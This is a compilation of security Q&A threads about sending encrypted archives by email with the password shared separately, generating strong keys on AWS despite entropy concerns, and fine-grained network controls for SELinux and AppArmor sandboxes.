if you can contact the recipient by other means besides email, one easy way to send securely content over email is putting the content (images,documents,etc) into a encrypted container (a zip, 7zip, .rar file) that is protected with a secure and not easily guessable password. Then after you sent the email contact the recipient and provide them with the password.

Is important to mention that this method is relying on the secrecy of the second channel to provide access to the content sent by email, so a direct call and a sms is usually ok.


How can you securely generate keys on AWS? Our application needs to generate secure keys for long term storage on AWS using openssl.  But I've seen some instance where entropy falls dangerously low on AWS machines and this doesn't appear to be 100% safe.  People have reported low entropy in some situations.

What is the easiest way to ensure you are generating strong keys on AWS?

For example, is there a way to:

block execution until there is sufficient entropy as a fail safe
seed machines with more/higher quality entropy
supplement AWS with some other piece of hardware to provide a good source of randomness

I've seen random.org but using an external web service doesn't seem appropriate or fast enough for a production environment.

This "low entropy" mantra is a dud. See this answer for details. The executive summary is: some software, in particular /dev/random, may report a "low entropy" and block for reasons which make no practical sense. The idea of entropy being "exhausted" comes from a mathematical model which has only tenuous links with reality, and may (theoretically) provide any security gain only when the randomness is used for "information theoretically secure" algorithms. Usual algorithms such as RSA or AES are not of these class.

So what you need to do is the following:

OpenSSL should normally use /dev/urandom, avoiding the problem. If the problem occurs, it will manifest itself as a "blocking" behaviour (key generation takes an abnormal amount of time, with no CPU used).
If the problem occurs, "refill" /dev/random with fresh pseudo-randomness, which is good enough. Something like: dd if=/dev/urandom of=/dev/random bs=1024 count=64

There is, however, another issue which is not so easy to deal with. Cloud systems are virtual machines, which may run concurrently with other virtual machines on the same hardware. When two execution threads run on two cores of the same CPU, even if they relate to distinct virtual machines, they share the level-1 cache and may potentially spy on each other. The technique involves doing memory accesses in an array which uses the same cache lines as the target code, and reconstructing the target secrets by noticing when some array elements have been evicted from cache.

Working prototypes have been demonstrated in lab conditions. Whether they may be applied in a practical setup depends on a lot of parameters, and is currently unknown. However, it is plausible. The conclusion is that if you do something serious with keys, then you should strive to run on your own hardware, or at least obtain some guarantee from the cloud provider that your virtual machines will not share the same hardware servers as virtual machines from other customers.


Network policies under AppArmor/SELinux I am attempting to sandbox some untrusted processes using Linux's MAC frameworks -- either SELinux or AppArmor.

I see that both SELinux and AppArmor allow the selected granting of socket level access to the program being sandboxed. However, is it possible to perform finer grained control, such as restricting network activity to only a set of IP addresses, and/or specific types of traffic (say only TCP/UDP)?

Disclaimer: I'm far from expert on SELinux or AppArmor, so you'll need to check everything I say for yourself.

I think there's a way to make SELinux and IPTables work together.  SELinux can label packets with a tag that indicates the SELinux context/origin/provenance that applies to the packet.  You can then write IPTables rules that inspect this tag to apply a different firewall policy depending upon the value of this tag.  This seems like one potential way to perform finer-grained control, e.g., to enforce that a particular application can only talk to a certain port number or protocol.  References: making SELinux and IPTables talk to each other, an article on this and the corresponding discussion on LWN, and background on secmark, the packet marking subsystem.

For AppArmor, as far as I know this is not currently supported.  There is a bug tracker entry requesting this feature.

I believe Systrace already has support for this kind of finer-grained control, built-in.